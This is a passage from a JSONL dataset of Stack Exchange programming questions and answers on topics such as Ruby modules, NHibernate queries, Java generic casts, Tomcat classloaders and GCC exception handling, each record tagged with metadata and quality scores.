languages.\nSource\nSo if you just want to use a module, rather than extend it or do a mix-in, then you'll want to use\n```\nrequire\n```\n.\nOddly enough, Ruby's\n```\nrequire\n```\nis analogous to C's\n```\ninclude\n```\n, while Ruby's\n```\ninclude\n```\nis almost nothing like C's\n```\ninclude\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.034161"}
{"id": "hf_1bbfe82fa46b", "question": "<p>what is the best way to track and lower GDI windows handles . .  </p>\n", "question_body": "", "answer": "Personally I use\nIARSN TaskInfo\nto see the number of handles my program uses, GDI included. As for lowering the number of active handles, then I would look at what in your application is using handles.\nThings like (but not limited to):\nPens\nBitmaps\nControls (I don't think all of them uses handles)\nDo you have a specific problem with too many handles, or perhaps even a handle leak?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.058894"}
{"id": "hf_daaa51bb71bf", "question": "<p>I'm trying to get distinct results using the Criteria API in NHibernate. I know this is possible using HQL, but I would prefer to do this using the Criteria API, because the rest of my app is written using only this method. I <a href=\"http://forum.hibernate.org/viewtopic.php?t=941669,\" rel=\"noreferrer\">found this forum post</a>, but haven't been able to get it to work. Is there a way with the criteria API to get distinct result sets?</p>\n\n<p>Edit: In doing this, I also wanted to exclude the Primary Key column, which is also an identity, and get the remaining distinct records. Is there a way to do this? As it is, the distinct records are returning duplicates because the primary key is unique for each row, but all other fields are the same.</p>\n", "question_body": "", "answer": "Cannot see the forum post at this moment (broken link?), so maybe this is not the answer, but you can add a DistinctRootEntityResultTransformer:\n```\n```\nsession.CreateCriteria(typeof(Product)\n    .Add(...)\n    .SetResultTransformer(new DistinctEntityRootTransformer())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.095550"}
{"id": "hf_36a01cb3fd49", "question": "<p>I am trying to set the margin of an object from JavaScript. I am able to do it in Opera &amp; Firefox, but the code doesn't work in Internet Explorer.</p>\n\n<p>Here is the JavaScript I have:</p>\n\n\n\n<pre class=\"lang-js prettyprint-override\"><code>function SetTopMargin (ObjectID, Value)\n{\n    document.getElementById(ObjectID).style.marginTop =  Value.toString() + \"px\";\n}\n</code></pre>\n\n<p>And it is called like this:</p>\n\n<pre class=\"lang-js prettyprint-override\"><code>SetTopMargin(\"test_div_id\", 100);\n</code></pre>\n\n<p>So does anyone know some code that will work in Internet Explorer?</p>\n", "question_body": "", "answer": "[Updated in 2016] On all current browsers (including IE8+), your code\n```\n```\ndocument.getElementById(ObjectId).style.marginTop = Value.ToString() + 'px';\n```\n```\nworks fine.\nOn\nvery old\nIE (< 8) versions, you must use this non-standard contraption instead:\n```\n```\ndocument.getElementById(ObjectId).style.setAttribute(\n   'marginTop', Value.ToString() + 'px');\n```\n```\nEDIT\n- From deleted comment by OP:\nNote that while you can use style.setAttribute('margin-top', ..) in current IEs, 8 and older require style.setAttribute('marginTop', ..)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.120099"}
{"id": "hf_f8ee0c12b4d7", "question": "<p>The two key event argument classes <code>KeyEventArgs</code> and <code>PreviewKeyDownEventArgs</code> each have two properties, <code>KeyCode</code> and <code>KeyData</code>, which are both of the enumeration type Keys.</p>\n\n<p>What is the difference between these two properties? Do the values in them ever differ from each other?  If so, when and why?</p>\n", "question_body": "", "answer": "```\nKeyCode\n```\nis an enumeration that represents all the possible keys on the keyboard.\n```\nKeyData\n```\nis the\n```\nKeyCode\n```\ncombined with the modifiers (Ctrl, Alt and/or Shift).\nUse\n```\nKeyCode\n```\nwhen you don't care about the modifiers,\n```\nKeyData\n```\nwhen you do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.145208"}
{"id": "hf_4cc00ad77f64", "question": "<p>Server 2008 machine with SP1, Visual Studio 2008 with SP1. My user; Developer, is in the local Administrators group. That said, some actions I perform in Visual Studio (use the properties window of a web application to invoke the creation of a virtual directory in local IIS) tell me that Admin privileges are required. It is an annoyance more than anything, I can just launch VS with right click (Run As Administrator) to perform the action -  but I was curious if anyone knows why this happens?</p>\n", "question_body": "", "answer": "Because that's how it works, I guess... It doesn't matter the group your user is in, what matters is if the application is running with admin privileges or not. If it is, than you will be able to perform admin actions, otherwise you won't.\nAll applications that use UAC to perform admin actions (when you see the security badge) they will either a) restart the application with admin privileges or b) launch a process with admin privileges to perform the respective action. They will never be able to grant you admin privileges without launching a process with them.\nThat's just the way it works really. As far as I know, this is how it works...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.170073"}
{"id": "hf_7d6e7a7ea321", "question": "<p>I need to display 2d images in opengl using textures.<br>\nThe image dimensions are not necessarily powers of 2.<br>\nI thought of creating a larger texture and restricting the display to the part I was using but the image data will be shared with openCV so I don't want to copy data a pixel at a time into a larger texture.</p>\n\n<p>EDIT - it turns out that even the simplest Intel on board graphics under Windows supports none-power-of-2 textures.</p>\n\n<p>EDIT2 - and even if you don't have arb texture size, then making your image smaller and rescaling to the window size it is very fast even on low end hardware</p>\n", "question_body": "", "answer": "First of all, most modern videocards actually support texture dimensions that are both non-square and non-power-of-two sized. But for maximum compatibility, using only power of two textures is probably recommended.\nStart off by determining the closest power of two that is larger for each of the image dimensions (width and height) and creating a texture of that size.\nThen you have two options. The first one is to do a software resize of the pixel data to fit the image, and then size your quad according to the original aspect ration when you need to display it. Or, you can just fill part of the texture with your image data and put transparent pixels in the rest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.220783"}
{"id": "hf_4a1fe001f055", "question": "<p>I'm generating titles out of a few other fields, and want the \"right\" way to do:</p>\n\n<pre><code>Me.Title.Value = Join(Array([Conference], [Speaker], partstr), \" - \")\n</code></pre>\n\n<p>Except any of [conference], [speaker] or partstr might be null, and I don't want the extra \"-\"'s.  Are there any functions that'll make this job straightforward?</p>\n", "question_body": "", "answer": "Nope - you'll have to check each one and then cleanup at the end\n```\n```\nDim Temp As String\n\nIf Not IsNull([Conference]) Then\n  Temp = Temp & [Conference] & \" - \"\nEnd If\n\nIf Not IsNull([Speaker]) Then\n  Temp = Temp & [Speaker] & \" - \"\nEnd If\n\nIf Not IsNull(partstr) Then\n  Temp = Temp & partstr & \" - \"\nEnd If\n\nIf Temp > \"\" then\n  Me.Title.Value = Left(Temp, Len(Temp) - 3)\nElse\n  Me.Title.Value = Null\nEnd If\n```\n```\nRevised with generic function:\n```\n```\nPublic Function JoinEx(ByVal pArray As Variant, ByVal pDelimiter As String) As String\n\n  Dim sTemp As String\n  Dim iCtr As Integer\n\n  For iCtr = 0 To UBound(pArray)\n    If Not IsNull(pArray(iCtr)) Then\n      sTemp = sTemp & pArray(iCtr) & pDelimiter\n    End If\n  Next\n\n  If sTemp > \"\" Then\n   JoinEx = Left(sTemp, Len(sTemp) - Len(pDelimiter))\n  End If\n\nEnd Function\n```\n```\nCalling Example:\n```\n```\nJoinEx(Array(\"one\",\"two\",\"three\"), \" - \")  'Returns \"One - Two - Three\"\n JoinEx(Array(null,\"two\",\"three\"), \" - \")  'Returns \"Two - Three\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.245530"}
{"id": "hf_dcc8cf0d2f38", "question": "<p>Is it possible to cast an object in Java to a combined generic type?</p>\n\n<p>I have a method like:</p>\n\n<pre><code>public static &lt;T extends Foo &amp; Bar&gt; void doSomething(T object) {\n    //do stuff\n}\n</code></pre>\n\n<p>Calling this method is no problem if I have a class that implements both interfaces (Foo &amp; Bar).</p>\n\n<p>The problem is when I need to call this method the object I need to pass to it is received as <code>java.lang.Object</code> and I need to cast it to make the compiler happy. But I can't figure out how to make this cast.</p>\n\n<p>edit:</p>\n\n<p>The problem lies in a function like this:</p>\n\n<pre><code>public void problemFunction (Object o) {\n  if ( o instanceof Foo &amp;&amp; o instanceof Bar) {\n      doSomething((Problematic cast) o);\n  }\n}\n</code></pre>\n\n<p>}</p>\n", "question_body": "", "answer": "Unfortunately, there is no legal cast that you can make to satisfy this situation. There must be a single type known to implement all of the interfaces that you need as bounds, so that you can cast to it. The might be a type you create for the purpose, or some existing type.\n```\n```\ninterface Baz extends Foo, Bar { }\n\npublic void caller(Object w) {\n  doSomething((Baz) w);\n}\n```\n```\nIf other types are known, like\n```\nBaz\n```\n, to meet the bounds, you could test for those types, and have a branch in your caller that calls\n```\ndoSomething\n```\nwith a cast to those types. It's not pretty.\nYou could also use delegation, creating your own class\n```\nBaz\n```\nthat meets the bounds required by\n```\ndoSomething\n```\n. Then wrap the object you are passed in an instance of your\n```\nBaz\n```\nclass, and pass that wrapper to\n```\ndoSomething\n```\n.\n```\n```\nprivate static class FooBarAdapter implements Foo, Bar {\n  private final Object adaptee;\n  FooBarAdapter(Object o) {\n    adaptee = (Foo) (Bar) o;\n  }\n  public int flip() { return ((Foo) adaptee).flip(); }\n  public void flop(int x) { ((Foo) adaptee).flop(x); }\n  public void blort() { ((Bar) adaptee).blort(); }\n}\n\npublic void problemFunction (Object o) {\n  doSomething(new FooBarAdapter(o));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.307155"}
{"id": "hf_e2e834318238", "question": "<p>I'm trying to assert that one object is \"equal\" to another object. </p>\n\n<p>The objects are just instances of a class with a bunch of public properties. Is there an easy way to have NUnit assert equality based on the properties?</p>\n\n<p>This is my current solution but I think there may be something better:</p>\n\n<pre><code>Assert.AreEqual(LeftObject.Property1, RightObject.Property1)\nAssert.AreEqual(LeftObject.Property2, RightObject.Property2)\nAssert.AreEqual(LeftObject.Property3, RightObject.Property3)\n...\nAssert.AreEqual(LeftObject.PropertyN, RightObject.PropertyN)\n</code></pre>\n\n<p>What I'm going for would be in the same spirit as the CollectionEquivalentConstraint wherein NUnit verifies that the contents of two collections are identical.</p>\n", "question_body": "", "answer": "Override .Equals for your object and in the unit test you can then simply do this:\n```\n```\nAssert.AreEqual(LeftObject, RightObject);\n```\n```\nOf course, this might mean you just move all the individual comparisons to the .Equals method, but it would allow you to reuse that implementation for multiple tests, and probably makes sense to have if objects should be able to compare themselves with siblings anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.333687"}
{"id": "hf_39b0b93015f6", "question": "<p>is it possible to create something like <a href=\"https://web.archive.org/web/20200805044711/http://geekswithblogs.net/AzamSharp/archive/2008/02/24/119946.aspx\" rel=\"nofollow noreferrer\">this</a> i ASP.NET MVC beta 1</p>\n<p>i have tried but the</p>\n<pre><code>override bool OnPreAction(string actionName, \n                          System.Reflection.MethodInfo methodInfo)\n</code></pre>\n<p>does not exsist anymore and</p>\n<pre><code>override void OnActionExecuting(ActionExecutingContext filterContext)\n</code></pre>\n<p>don't give me access to the action name</p>\n", "question_body": "", "answer": "In the blogpost you are referring to, the author states that\nOne way to solve this problem is by using the attribute based security as shown on this post. But then you will have to decorate your actions with the security attribute which is not a good idea.\nI think it's a perfectly fine way to go about it and it is supported by the framework. It will give you a nice declarative implementation. Check out the AuthorizeAttribute in System.Web.Mvc. It will allow you to do something like this:\n```\n```\n[Authorize(Roles=\"Admin, Editor\")]\npublic ActionResult Delete(int id){\n    (...)\n}\n```\n```\nSince the Delete action alters the state of your system, I would also add an AcceptVerbs attribute like so:\n```\n```\n[AcceptVerbs(HttpVerbs.Post)]\n[Authorize(Roles=\"Admin, Editor\")]\npublic ActionResult Delete(int id){\n    (...)\n}\n```\n```\nThis will make sure that the action will not accept GET requests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.358550"}
{"id": "hf_2ad34355cce7", "question": "<p>I have a support environment where we connect to many of our customers' systems using VPN and Remote Desktop. Right now, support personnel have to manually set up the VPN connection on their workstation. Is there a way to programmatically create the VPN connection?</p>\n", "question_body": "", "answer": "Look up the RAS API (Remote Access Service), it's a win32 dll, but you can call it from C#. Here are some links that may help you get started:\nhttp://msdn.microsoft.com/en-us/library/aa446741(VS.85).aspx\nhttp://social.msdn.microsoft.com/forums/en-US/netfxnetcom/thread/28125f40-9c3b-4e77-9bfb-8a975e9b3457/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.396472"}
{"id": "hf_ba64c8067c98", "question": "<p>We have hosted our web applications on Tomcat 6.0.18 and experienced the following problem:</p>\n\n<p>There are two web apps WebApp1 and WebApp2, both are same system but of different versions. </p>\n\n<p>Now the problem is when the tomcat has been running for a week or longer time then sometimes system gives NoClassDefFoundError ! also we got some strange issue where the Class Loader of WebApp1 has loaded the class present in the jar of WebApp2 ! The same jar is also present in WebApp1 but the versions are different.</p>\n\n<p>When we restarted the Tomcat everything started working fine ! Our JRE is 1.5.10</p>\n\n<p>Please let me know if you have encountered such issues. </p>\n\n<p>Regards,\nJatan Porecha</p>\n", "question_body": "", "answer": "I've encountered many, many flavors of classloader weirdness with Tomcat - even if you don't perform any classloader code yourself, it's very easy for Tomcat itself to produce problems. The most common problem appears to be repeatedly unloading and reloading a webapp leaks classloaders and eventually runs Tomcat out of memory.\nThe most common reason I've seen for version mismatches is that Tomcat makes sure some classes and jars (part of Tomcat itself) are ahead of any others in your webapp classpath - commons-logging seems to be the most common example - and it's possible for classloaders to be loaded, unloaded, or kept around when you wouldn't expect.\nCan you provide a few more details - if the jar is from a third-party there is a good chance someone has seen the issue before. If it's your own jar, then do you have any of your own classloader code in the application?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.460653"}
{"id": "hf_336cfe06a641", "question": "<p>how do i define a named_scope to return all the records that were created within the last 7 days, and then how do i use that named scope in a controller?</p>\n", "question_body": "", "answer": "You need to pass named_scope a proc so it will be evaluated every time the call to named_scope is run.  Otherwise if you specify Time.now it will run once (on first call) and be \"cached\" until the app is restarted.\n```\n```\nnamed_scope \\\n    :this_week,\n    :conditions =>  [\n      %created_at > :time!,\n      proc {{:time => Time.now}}\n    ]\n```\n```\nYou can call the named_scope like\n@ar_object.this_week", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.485290"}
{"id": "hf_c6e2ee44ecc1", "question": "<p>I have a string like \"1234567890\". Now I need to store/print out this with the following format,\n                     123-456-7890</p>\n\n<p>What is the best method to implement this in C?</p>\n\n<p>Thanks for comments/answers.</p>\n", "question_body": "", "answer": "There will be two schools of thought on this as far as what is \"best\".\nOne school says that, as long as it's functional and secure, whatever method uses the fewest resources (memory and processor cycles) is \"best\".\nOne school says that, as long as it's functional and secure, whatever method is easiest to read and maintain (though it may be inefficient) is \"best\".\nEdit:\nRedacted my answer as I don't like giving code answers to homework questions\nAs other answers and comments have suggested, you'll do best if you read the documentation for string.h and printf / sprintf.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.522101"}
{"id": "hf_9716fb466b0a", "question": "<p>Where is .mobi headed? Will the mobile devices use proprietary browsers that simplify a .com site or are they going to use browsers on a .mobi basis? I have a feeling it will be a flop... not sure though.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "My feeling is that smart phone browsers are getting more and more like desktop browsers, so the whole concept of .mobi is flawed from the start.  Plus, a lot of sites can now detect that you're using an inferior browser and redirect you automatically to a less functional version of their web site - no special domains required.\nIf you're programming a web site, wouldn't it be simpler just to have an internal redirection for mobile phone browsers than to have to maintain a whole different domain?  Especially if you can programattically derive the mobile version from the non-mobile version, either on the fly or whenever you delivery content?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.547404"}
{"id": "hf_79f748e7d887", "question": "<p>I have a table with a credit and debit column.</p>\n\n<p>I need to get the highest balance out of that, and I think a stored procedure is the way to do it, but I have no idea how.</p>\n\n<p>I need to start with the first row, add the debits, subtract the credits and store the value A.</p>\n\n<p>Second row is A+debit-credit=B; A = max(A,B)\nRepeat last step till the end.</p>\n\n<p>Remember, I'm looking for the highest EVER, not the current, which would just be\nsum(debit-credit)</p>\n", "question_body": "", "answer": "May\n```\n```\nselect max(debit-credit) from yourtable\n```\n```\nwork?\nTry to test it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.622242"}
{"id": "hf_3f39ce251562", "question": "<p>The iPhone SDK docs claim fopen() is a supported method of file access but I am unable to get it to return a FILE handle.  I am accessing a directory which is included in my project.  I have tried fopen \"filename\",\"dir/filename\",\"./filename\",\"./dir/filename\",\"/dir/filename\" all returning with a null pointer.  Some people report using it with no issue so I am sure it is something simple!</p>\n", "question_body": "", "answer": "if you're trying to access a file within your application bundle, you need to get the full path to it:\n```\n[[NSBundle mainBundle] pathForResource: FILENAME ofType: FILEEXTENSION]\n```\nThis returns an NSString, which you can pull a UTF8String out of and pass to fopen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.684815"}
{"id": "hf_4e646922c089", "question": "<p>I'd like to make a video tutorial for my SDK--one of those videos that shows the screen while some dude talks about what he's doing. Can someone direct me to easy and preferably free tools for doing so?</p>\n\n<p>Desired features:\n- Cuts (recording several snippets of video and putting them together afterward)\n- Subtitles (not only for user convenience but because I'd rather not disturb the other cubicles by talking in a microphone at work :))</p>\n\n<p>(<a href=\"https://stackoverflow.com/questions/139621/can-we-get-rid-of-video-tutorials-please\">who doesn't like video tutorials?</a>)</p>\n\n<p>Update: I'm using Windows.</p>\n", "question_body": "", "answer": "Jing\n. Free, very easy to use, Windows version requires .NET 3.0 framework. Also, there is Mac version available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.722485"}
{"id": "hf_ad7b34693f7c", "question": "<p>I am doing a join on two tables. One is a user's table and the other a list of premium users. I need to have the premium members show up first in my query. However, just because they are in the premium user table doesn't mean they are still a premium member - there is an IsActive field that also needs to be checked.</p>\n\n<p>So basically I need to return the results in the following order:  </p>\n\n<ul>\n<li>Active Premium Users</li>\n<li>Regular and Inactive Premium Users</li>\n</ul>\n\n<p>Right now I have it as the following:</p>\n\n<pre><code>SELECT Users.MemberId, PremiumUsers.IsActive FROM Users\nLEFT JOIN PremiumUsers ON PremiumUsers.UserId = Users.Id\nORDER BY PremiumUsers.IsActive DESC\n</code></pre>\n\n<p>The problem with this is that it places non-active premium members above non-premium members.</p>\n\n<p>(I'm using MS SQL Server 2005 for this)</p>\n", "question_body": "", "answer": "```\n```\nORDER BY COALESCE(PremiumUsers.IsActive, 0) DESC\n```\n```\nThat will group the NULLs with not-actives.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.747595"}
{"id": "hf_8f19927ce6d6", "question": "<ol>\n<li><p>I want to create a scrollable list of pictures fetched from the internet and give the user the ability to click on it. How do i go about doing it in WinForms/C#? Is it possible to add picturebox control/ controls to the listBox?</p></li>\n<li><p>I tried adding a list of picturebox into UserControl with AutoScroll set to true, which will give me a feel like using a listBox, Is this a right approach?</p></li>\n<li><p>I also tried setting the ImageLocation of the pictureBox to a URI of the image and then called Load() to load the image, it did work, however my Form is freezing up! How do i go on updating each of the picturebox in a sequential way without freezing my form?</p></li>\n</ol>\n\n<p>Thank you,\nAzlam</p>\n", "question_body": "", "answer": "I'll answer your third question first, becuase that's the only one I REALLY know the answer to. There's a LoadAsync() method on the picture box that will load the image in a seperate thread and won't hang your app.\nAs for the other questions, I too would most likely start with a user control and put the images there. The only thing I can suggest would be to first create a user control that has a picture box, and maybe a multiline textbox or richtextbox next to it. Turn off the border on the textbox, and have a slight border around the entire control. This will allow you to display the image, with some text next to it. Then, your actual final control will just be a collection of these controls with the ability to add them as needed.\n--my 2 cents...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.772209"}
{"id": "hf_1d2d1efde83f", "question": "<p>GCC supports Setjump-longjump (sjlj) and Dwarf2 table-based unwinding (dw2) exception handling models. What is the difference between the two models and how to choose the appropriate model? Why is Dwarf2 table-based unwinding (dw2) the more efficient model? I understand that the two models cannot be mixed.</p>\n\n<p>Reference: <a href=\"http://sourceforge.net/project/shownotes.php?release_id=532062&amp;group_id=2435\" rel=\"noreferrer\">Technology Preview: gcc-4.2.1-sjlj -2</a></p>\n", "question_body": "", "answer": "Well, dwarf2 builds up tables for every function, that contain what the callee saved registers are and where in the stack they are saved, and where the frame pointer/return address in the callstack is, and some other stuff. If you use dwarf2, the compiler can use those information and effectively restore registers, and jump back to callers in the event of an exception. The backends need to provide information in their implementations' prologue generating code, to tell GCC which registers are callee-saved, and when the frame pointer was saved and such stuff.\nUsing setjmp/longjmp is just a hack. Since setjmp/longjmp does not know about the structure of the function throwing, it will restore all registers saved in the jump-buffer by setjmp, even if they were not overridden by the throwing function. I'm not really an expert for this, but i think it's obvious that this will not be efficient. Also, every time you start a try block, setjmp has to be called to set up the buffer containing the saved registers, while when using dwarf2, the compiler already provides all necessary information at compile time.\nIf the backends do not provide the necessary information, GCC will automatically fall-back to setjmp/longjmp based exception handling.\nNote i'm not a GCC expert. I just ported the toolchain to some easy processor of my professor, including GCC. I hope i could help you a bit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.796579"}
{"id": "hf_83bfa9107404", "question": "<p>I am trying to debug an intermittent error on the iPhone, a crash with a trace that looks like:</p>\n\n<pre><code>objc_message_send\n__invoking__\n[NSInvocation invoke]\nHandleDelegateSource\nMainRunLoop\n....\n</code></pre>\n\n<p>When GDB stops, I'd like to be able to determine details about what selector the system is attempting to be invoked - I've set a break point now around [NSInvocation Invoke], but from that point cannot figure out how to examine details of the NSInvocation object I am stopped in.</p>\n", "question_body": "", "answer": "If you look at the reference information for\nobjc_msgSend\nyou will see that the selector is the second argument. Now it should be easier to decipher the debugger output.\nobjc_msgSend\nSends a message with a simple return value to an instance of a class.\nid objc_msgSend(id theReceiver, SEL theSelector, ...)\nParameters\ntheReceiver\nA pointer that points to the instance of the class that is to receive the message.\ntheSelector\nThe selector of the method that handles the message.\n...\nA variable argument list containing the arguments to the method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.836847"}
{"id": "hf_f8e8df4aea81", "question": "<p>Any good converter for GB, Big5, Unicode?</p>\n\n<p>Convert GB to Unicode, Unicode to GB, Big5 to Unicode, Unicode to Big5, GB to Big5.</p>\n", "question_body": "", "answer": "iconv should be able to do the job.  It's part of the GNU C Library.\n```\n```\nhttp://en.wikipedia.org/wiki/Iconv\nhttp://www.gnu.org/software/libiconv/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.902433"}
{"id": "hf_6f277d914bcd", "question": "<p>What's the difference between a keystore and a truststore?</p>\n", "question_body": "", "answer": "A keystore contains private keys, and the certificates with their corresponding public keys.\nA truststore contains certificates from other parties that you expect to communicate with, or from Certificate Authorities that you trust to identify other parties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.927509"}
{"id": "hf_fd42cde2853a", "question": "<p>I'm trying to create some skinned forms (just the border and caption) with a different approach than you usually see but I'm having some issues with form flickering while I resize the form.</p>\n\n<p>I don't know how else to explain the problem, so here's a video I created to demonstrate the problem:\n<a href=\"http://www.screencast.com/t/AIqK9Szmz\" rel=\"nofollow noreferrer\">http://www.screencast.com/t/AIqK9Szmz</a></p>\n\n<p>Also, here's a VS2008 test solution with the whole code that repaints the form borders:<a href=\"http://stuff.nazgulled.net/misc/TestForm.zip\" rel=\"nofollow noreferrer\">http://stuff.nazgulled.net/misc/TestForm.zip</a></p>\n\n<p>Hope someone can help me get rid of the flicker...</p>\n", "question_body": "", "answer": "That's what I use in my base form's constructor:\n```\n```\nthis.SetStyle( ControlStyles.AllPaintingInWmPaint, true );\nthis.SetStyle( ControlStyles.UserPaint, true );\nthis.SetStyle( ControlStyles.OptimizedDoubleBuffer, true );\nthis.SetStyle( ControlStyles.ResizeRedraw, true );\n```\n```\nI think the key is the use of \"AllPaintingInWmPaint\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.964948"}
{"id": "hf_4b0014e4e476", "question": "<p>How do you build a hierarchical set of tags with data in PHP?</p>\n\n<p>For example, a nested list:</p>\n\n<pre><code>&lt;div&gt;\n    &lt;ul&gt;\n        &lt;li&gt;foo\n        &lt;/li&gt;\n        &lt;li&gt;bar\n            &lt;ul&gt;\n                &lt;li&gt;sub-bar\n                &lt;/li&gt;\n            &lt;/ul&gt;\n        &lt;/li&gt;\n    &lt;/ul&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>This would be build from flat data like this:</p>\n\n<pre><code>nested_array = array();\nnested_array[0] = array('name' =&gt; 'foo', 'depth' =&gt; 0)\nnested_array[1] = array('name' =&gt; 'bar', 'depth' =&gt; 0)\nnested_array[2] = array('name' =&gt; 'sub-bar', 'depth' =&gt; 1)\n</code></pre>\n\n<p>It would be nice if it were nicely formatted like the example, too.</p>\n", "question_body": "", "answer": "You mean something like\n```\n```\nfunction array_to_list(array $array, $width = 3, $type = 'ul', $separator = ' ', $depth = 0)\n{\n    $ulSpace = str_repeat($separator, $width * $depth++);\n    $liSpace = str_repeat($separator, $width * $depth++);\n    $subSpace = str_repeat($separator, $width * $depth);\n    foreach ($array as $key=>$value) {\n        if (is_array($value)) {\n        $output[(isset($prev) ? $prev : $key)] .= \"\\n\" . array_to_list($value, $width, $type, $separator, $depth);\n        } else {\n            $output[$key] = 